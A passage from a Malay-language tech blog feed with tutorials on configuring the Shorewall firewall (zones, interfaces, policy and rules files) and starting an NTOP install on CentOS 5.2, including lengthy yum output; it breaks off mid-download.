perisian yang mampu untuk mengawal laluan keluar masuk packet melalui rangkaian. Fungsinya adalah sama seperti iptables cuma versi yang ditambahbaik dan segi fungsinya.Kali ni aku akan setup shorewall untuk server mysurfguard (mysg) aku.&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;STEP 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Download shorewall&lt;/span&gt; (Kalau boleh cuba cari versi terkini)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#wget http://www.invoca.ch/pub/packages/shorewall/4.0/shorewall-4.0.11/shorewall-&lt;br /&gt;4.0.11-2.noarch.rpm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#wget http://www.invoca.ch/pub/packages/shorewall/4.0/shorewall-4.0.11/shorewall-&lt;br /&gt;perl-4.0.11-2.noarch.rpm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#wget http://www.invoca.ch/pub/packages/shorewall/4.0/shorewall-4.0.11/shorewall-&lt;br /&gt;shell-4.0.11-2.noarch.rpm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-style: italic;"&gt;Anda boleh download dari website shorewall untuk versi  terkini.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;http://www.shorewall.net/download.htm&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Install Shorewall   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#rpm -ivh shorewall-perl-4.0.11-2.noarch.rpm shorewall-shell-4.0.11-2.noarch.rpm shorewall-4.0.11-2.noarch.rpm&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Setting Shorewall&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Program shorewall tu takkan berfungsi selagi shorewall configuration file belum dikemaskini.&lt;br /&gt;&lt;br /&gt;# nano /etc/shorewall/shorewall.conf&lt;br /&gt;&lt;br /&gt;Tukar line pertama&lt;br /&gt;STARTUP_ENABLED=No&lt;br /&gt;hingga&lt;br /&gt;STARTUP_ENABLED=Yes&lt;br /&gt;&lt;br /&gt;Save and exit (in NANO, type Ctrl+X dan taip Y).&lt;br /&gt;&lt;br /&gt;Sekiranya anda nak salin dari sampel tengok di /usr/share/doc/shorewall-4.0.11/Samples/. Dalam sampel ni ada 3 folder iaitu : one-interface/,two-interfaces/ and  three-interfaces/.&lt;br /&gt;&lt;br /&gt;Bergantung kepada situasi network di tempat anda. Situasi aku ni just nk setup pada mysg aku yang pakai 1 network sahaja dan tak berfungsi sebagai transparent, jika nak guna sampel ikut cara ni : &lt;br /&gt;&lt;br /&gt;#cp /usr/share/doc/shorewall-4.0.11/Samples/one-interfaces&lt;br /&gt;/{interfaces,policy,masq,routestopped,rules,zones} /etc/shorewall/  &lt;br /&gt;&lt;br /&gt;atau&lt;br /&gt;&lt;br /&gt;#cp /usr/share/doc/shorewall-4.0.11/Samples/two-interfaces&lt;br /&gt;/{interfaces,policy,masq,routestopped,rules,zones} /etc/shorewall/  &lt;br /&gt;&lt;br /&gt;atau&lt;br /&gt;&lt;br /&gt;#cp /usr/share/doc/shorewall-4.0.11/Samples/three-interfaces&lt;br /&gt;/{interfaces,policy,masq,routestopped,rules,zones} /etc/shorewall/&lt;br /&gt;&lt;br /&gt;Sekarang anda dah ada configuration file di /etc/shorewall.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Zones Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Buka dan edit file  /etc/shorewall/zones untuk kenal[asti network zone. Ini hanya penglabelan aje.&lt;br /&gt;&lt;br /&gt;# nano /etc/shorewall/zones&lt;br /&gt;&lt;br /&gt;Kita setup 3 zone Internet(NET), Private Zon (DMZ) dan Zon firewall (FW):&lt;br /&gt;&lt;br /&gt;#ZONE TYPE OPTIONS  IN OPTIONS  OUT OPTIONS&lt;br /&gt;#&lt;br /&gt;fw firewall&lt;br /&gt;net ipv4&lt;br /&gt;loc ipv4&lt;br /&gt;dmz ipv4&lt;br /&gt;#LAST LINE - ADD YOUR ENTRIES ABOVE THIS ONE - DO NOT REMOVE&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Interfaces Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Kemudian edit network interface firewall anda.&lt;br /&gt;&lt;br /&gt;# nano /etc/shorewall/interfaces&lt;br /&gt;&lt;br /&gt;Berikut adalah contoh configuration. Bagi penggunaan aku cuma ada satu network interface aje jadi hanya line pertama je aku guna :&lt;br /&gt;&lt;br /&gt;#ZONE INTERFACE BROADCAST OPTIONS&lt;br /&gt;net     eth0            detect          tcpflags,dhcp,routefilter,nosmurfs,logmartians&lt;br /&gt;loc     eth1            detect          tcpflags,nosmurfs&lt;br /&gt;dmz     eth2            detect&lt;br /&gt;#LAST LINE -- ADD YOUR ENTRIES BEFORE THIS ONE -- DO NOT REMOVE&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Policy Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ok, part ni agak penting untuk pastikan flow data akan di alirkan berdasarkan zon yang kita dah define tadi. Polisi yang digunakan adalah REJECT atau DROP dan tentukan port apa yang akan allow seterusnya.&lt;br /&gt;&lt;br /&gt;# nano /etc/shorewall/policy&lt;br /&gt;&lt;br /&gt;Contoh polisi berdasarkan 3 zon tadi :&lt;br /&gt;&lt;br /&gt;#SOURCE  DEST  POLICY  LOG LEVEL LIMIT:BURST&lt;br /&gt;#&lt;br /&gt;# Policies for traffic originating from the local LAN (loc)&lt;br /&gt;#&lt;br /&gt;# If you want to force clients to access the Internet via a proxy server&lt;br /&gt;# in your DMZ, change the following policy to REJECT info.&lt;br /&gt;loc  net  ACCEPT&lt;br /&gt;# If you want open access to DMZ from loc, change the following policy&lt;br /&gt;# to ACCEPT.  (If you chose not to do this, you will need to add a rule&lt;br /&gt;# for each service in the rules file.)&lt;br /&gt;loc  dmz  REJECT  info&lt;br /&gt;loc  $FW  REJECT  info&lt;br /&gt;loc  all  REJECT  info&lt;br /&gt;#&lt;br /&gt;# Policies for traffic originating from the firewall ($FW)&lt;br /&gt;#&lt;br /&gt;# If you want open access to the Internet from your firewall, change the&lt;br /&gt;# $FW to net policy to ACCEPT and remove the 'info' LOG LEVEL.&lt;br /&gt;$FW  net  REJECT  info&lt;br /&gt;$FW  dmz  REJECT  info&lt;br /&gt;$FW  loc  REJECT  info&lt;br /&gt;$FW  all  REJECT  info&lt;br /&gt;#&lt;br /&gt;# Policies for traffic originating from the De-Militarized Zone (dmz)&lt;br /&gt;#&lt;br /&gt;# If you want open access from DMZ to the Internet change the following&lt;br /&gt;# policy to ACCEPT.  This may be useful if you run a proxy server in&lt;br /&gt;# your DMZ.&lt;br /&gt;dmz  net  REJECT  info&lt;br /&gt;dmz  $FW  REJECT  info&lt;br /&gt;dmz  loc  REJECT  info&lt;br /&gt;dmz  all  REJECT  info&lt;br /&gt;#&lt;br /&gt;# Policies for traffic originating from the Internet zone (net)&lt;br /&gt;#&lt;br /&gt;net  dmz  DROP  info&lt;br /&gt;net  $FW  DROP  info&lt;br /&gt;net  loc  DROP  info&lt;br /&gt;net  all  DROP  info&lt;br /&gt;# THE FOLLOWING POLICY MUST BE LAST&lt;br /&gt;all  all  REJECT  info&lt;br /&gt;#LAST LINE -- ADD YOUR ENTRIES ABOVE THIS LINE -- DO NOT REMOVE&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 7&lt;br /&gt;&lt;br /&gt;Rules Configuration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ni adalah configuration paling penting untuk kita tentukan subnet mana yang akan allow melalui firewall ini berdasarkan port yang dibenarkan dan port yang dihalang. Jika tiada setting dibuat maka ia akan merujuk kepada default polisi tadi.&lt;br /&gt;&lt;br /&gt;Nota: Ni hanya untuk new connection, connection sedia ada akan automatik dikenalpasti.&lt;br /&gt;&lt;br /&gt;# nano /etc/shorewall/rules&lt;br /&gt;&lt;br /&gt;Contohnya seperti di bawah :&lt;br /&gt;&lt;br /&gt;#############################################################################################################&lt;br /&gt;#ACTION  SOURCE  DEST PROTO DEST SOURCE  ORIGINAL RATE USER/ MARK&lt;br /&gt;#      PORT PORT(S)  DEST  LIMIT  GROUP&lt;br /&gt;#&lt;br /&gt;# Accept DNS connections from the firewall to the Internet&lt;br /&gt;#&lt;br /&gt;DNS/ACCEPT $FW  net&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# Accept SSH connections from the local network to the firewall and DMZ&lt;br /&gt;#&lt;br /&gt;SSH/ACCEPT      loc             $FW&lt;br /&gt;SSH/ACCEPT      loc             dmz&lt;br /&gt;#&lt;br /&gt;# DMZ DNS access to the Internet&lt;br /&gt;#&lt;br /&gt;DNS/ACCEPT dmz  net&lt;br /&gt;#&lt;br /&gt;# Drop Ping from the "bad" net zone.&lt;br /&gt;#&lt;br /&gt;Ping/DROP     net             $FW&lt;br /&gt;#&lt;br /&gt;#       Make ping work bi-directionally between the dmz, net, Firewall and local zone&lt;br /&gt;#       (assumes that the loc-&gt; net policy is ACCEPT).&lt;br /&gt;#&lt;br /&gt;Ping/ACCEPT     loc             $FW&lt;br /&gt;Ping/ACCEPT     dmz             $FW&lt;br /&gt;Ping/ACCEPT     loc             dmz&lt;br /&gt;Ping/ACCEPT     dmz             loc&lt;br /&gt;Ping/ACCEPT     dmz             net&lt;br /&gt;ACCEPT  $FW  net  icmp&lt;br /&gt;ACCEPT  $FW  loc  icmp&lt;br /&gt;ACCEPT  $FW  dmz  icmp&lt;br /&gt;# Uncomment this if using Proxy ARP and static NAT and you want to allow ping from&lt;br /&gt;# the net zone to the dmz and loc&lt;br /&gt;#Ping/ACCEPT    net             dmz&lt;br /&gt;#Ping/ACCEPT    net             loc&lt;br /&gt;#LAST LINE -- ADD YOUR ENTRIES BEFORE THIS ONE -- DO NOT REMOVE&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;STEP 8&lt;br /&gt;&lt;br /&gt;Finally&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Untuk mulakan ujian run command ni :&lt;br /&gt;# service shorewall start&lt;br /&gt;&lt;br /&gt;Tapi semua ni kalau nak mudah boleh gunakan module yang ada dalam webmin. Terutama bagi step 7 tadi tu boleh gunakan webmin.&lt;br /&gt;&lt;br /&gt;Cuma jika nak restart atau stop shorewall seeloknya gunakan command line sebab lebih stabil.&lt;br /&gt;Skang ni aku boleh tetapkan rule untuk allow dari subnet mana-mana sahaja boleh gunakan mysg aku.&lt;br /&gt;&lt;br /&gt;Sebab aku laksana mysg mengikut daerah jadi aku tanak daerah lain gunakan mysg tu. Selain tu aku boleh control port apa sahaja yang boleh melalui mysg aku.&lt;br /&gt;&lt;br /&gt;Terima kasih pada nota dari howtoforge.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8614654379022965127?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8614654379022965127/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8614654379022965127&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8614654379022965127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8614654379022965127'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/06/setup-shorewall-in-centos-52.html' title='8 Steps to Setup Shorewall in CentOS 5.2'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5937789440368441542</id><published>2009-06-26T10:28:00.006+08:00</published><updated>2009-06-27T11:17:31.593+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Ntop'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>10 steps to setup NTOP on Centos 5.2</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;blockquote&gt;Ntop ialah alat untuk menganalisa trafik dan rangkaian. Ianya menyediakan segala maklumat berkaitan pelbagai host dan protokol. Yang bestnya ianya boleh dicapai menerusi antaramuka laman web.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Berikut adalah langkah yang telah diuji atas versi 32 bit :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;- CentOS Linux 5.2&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;So aku nak setup NTOP ni pada server mysurfguard (proxy+dansguardian) aku. Ini bertujuan untuk aku memantau trafik yang pengguna lalu menggunakan port 80 dari PC masing-masing. Aku boleh kenalpasti pc yang jadi punca masalah dan cuba mengakses laman web dan p2p yang tak dibenarkan di tempat aku.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Anda boleh guna command berikut :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# cd /opt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# wget http://freshmeat.net/redir/ntop/7279/url_tgz/ntop-3.3.6.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Untar tar ball, dan tekan enter :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# tar -zxvf ntop-3.3.6.tar.gzMembuat konfigurasi dan compile ntop pada CentOS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;1) Anda perlu ada RRDTool&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;STEP 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Login sebagai root :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:verdana;" &gt;# yum install cairo-devel libxml2-devel pango-devel pango libpng-devel freetype freetype-devel libart_lgpl-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Sampel result :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Loading "rhnplugin" plugin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Loading "security" plugin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;rhel-x86_64-server-vt-5   100% |=========================| 1.4 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;rhn-tools-rhel-x86_64-ser 100% |=========================| 1.2 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;rhel-x86_64-server-5      100% |=========================| 1.4 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Setting up Install Process&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Parsing package install arguments&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package libxml2-devel - 2.6.26-2.1.2.1.x86_64 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package libxml2-devel - 2.6.26-2.1.2.1.i386 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package pango - 1.14.9-3.el5.i386 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package pango - 1.14.9-3.el5.x86_64 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package freetype - 2.2.1-20.el5_2.i386 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package freetype - 2.2.1-20.el5_2.x86_64 is already installed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Resolving Dependencies&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Running transaction check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libart_lgpl-devel.x86_64 0:2.3.17-4 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package pango-devel.i386 0:1.14.9-3.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libXft-devel for package: pango-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libXrender-devel for package: pango-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libXext-devel for package: pango-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libX11-devel for package: pango-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: fontconfig-devel &gt;= 2.0 for package: pango-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package pango-devel.x86_64 0:1.14.9-3.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package freetype-devel.x86_64 0:2.2.1-20.el5_2 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libpng-devel.i386 2:1.2.10-7.1.el5_0.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package cairo-devel.x86_64 0:1.2.4-5.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libpng-devel.x86_64 2:1.2.10-7.1.el5_0.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package cairo-devel.i386 0:1.2.4-5.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libart_lgpl-devel.i386 0:2.3.17-4 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libart_lgpl_2.so.2 for package: libart_lgpl-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package freetype-devel.i386 0:2.2.1-20.el5_2 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Running transaction check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libXrender-devel.i386 0:0.9.1-3.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: xorg-x11-proto-devel for package: libXrender-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libXft-devel.i386 0:2.1.10-1.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libX11-devel.i386 0:1.0.3-9.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libXdmcp-devel for package: libX11-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: libXau-devel for package: libX11-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package fontconfig-devel.i386 0:2.4.1-7.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libart_lgpl.i386 0:2.3.17-4 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libXext-devel.i386 0:1.0.1-2.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Running transaction check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package xorg-x11-proto-devel.i386 0:7.1-9.fc6 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Processing Dependency: mesa-libGL-devel for package: xorg-x11-proto-devel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libXdmcp-devel.i386 0:1.0.1-2.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package libXau-devel.i386 0:1.0.1-3.1 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Running transaction check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;---&gt; Package mesa-libGL-devel.i386 0:6.5.1-7.5.el5 set to be updated&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;--&gt; Finished Dependency Resolution&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Dependencies Resolved&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;===================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Package                 Arch       Version          Repository        Size&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;===================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libart_lgpl-devel       x86_64     2.3.17-4         rhel-x86_64-server-5   21 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libart_lgpl-devel       i386       2.3.17-4         rhel-x86_64-server-5   21 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;pango-devel             i386       1.14.9-3.el5     rhel-x86_64-server-5  280 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;pango-devel             x86_64     1.14.9-3.el5     rhel-x86_64-server-5  281 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Installing for dependencies:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;cairo-devel             x86_64     1.2.4-5.el5      rhel-x86_64-server-5  131 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;cairo-devel             i386       1.2.4-5.el5      rhel-x86_64-server-5  130 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;fontconfig-devel        i386       2.4.1-7.el5      rhel-x86_64-server-5  168 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;freetype-devel          x86_64     2.2.1-20.el5_2   rhel-x86_64-server-5  151 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;freetype-devel          i386       2.2.1-20.el5_2   rhel-x86_64-server-5  151 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libX11-devel            i386       1.0.3-9.el5      rhel-x86_64-server-5  665 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libXau-devel            i386       1.0.1-3.1        rhel-x86_64-server-5   11 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libXdmcp-devel          i386       1.0.1-2.1        rhel-x86_64-server-5  7.6 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libXext-devel           i386       1.0.1-2.1        rhel-x86_64-server-5   57 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libXft-devel            i386       2.1.10-1.1       rhel-x86_64-server-5   16 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libXrender-devel        i386       0.9.1-3.1        rhel-x86_64-server-5  8.9 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libart_lgpl             i386       2.3.17-4         rhel-x86_64-server-5   76 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libpng-devel            i386       2:1.2.10-7.1.el5_0.1  rhel-x86_64-server-5  182 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;libpng-devel            x86_64     2:1.2.10-7.1.el5_0.1  rhel-x86_64-server-5  186 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;mesa-libGL-devel        i386       6.5.1-7.5.el5    rhel-x86_64-server-5  465 k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;xorg-x11-proto-devel    i386       7.1-9.fc6        rhel-x86_64-server-5  247 k&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Transaction Summary&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;=====================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Install     20 Package(s)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Update       0 Package(s)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Remove       0 Package(s)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Total download size: 3.2 M&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Is this ok [y/N]:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Downloading Packages:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(1/20): libXext-devel-1.0 100% |=========================|  57 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(2/20): freetype-devel-2. 100% |=========================| 151 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(3/20): libXau-devel-1.0. 100% |=========================|  11 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(4/20): libart_lgpl-devel 100% |=========================|  21 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(5/20): libart_lgpl-2.3.1 100% |=========================|  76 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(6/20): cairo-devel-1.2.4 100% |=========================| 130 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(7/20): libpng-devel-1.2. 100% |=========================| 186 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(8/20): cairo-devel-1.2.4 100% |=========================| 131 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(9/20): fontconfig-devel- 100% |=========================| 168 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(10/20): mesa-libGL-devel 100% |=========================| 465 kB    00:01&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(11/20): libXdmcp-devel-1 100% |=========================| 7.6 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(12/20): libpng-devel-1.2 100% |=========================| 182 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(13/20): libX11-devel-1.0 100% |=========================| 665 kB    00:02&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(14/20): freetype-devel-2 100% |=========================| 151 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(15/20): libXft-devel-2.1 100% |=========================|  16 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(16/20): pango-devel-1.14 100% |=========================| 281 kB    00:01&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(17/20): pango-devel-1.14 100% |=========================| 280 kB    00:01&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(18/20): libXrender-devel 100% |=========================| 8.9 kB    00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;(19/20): 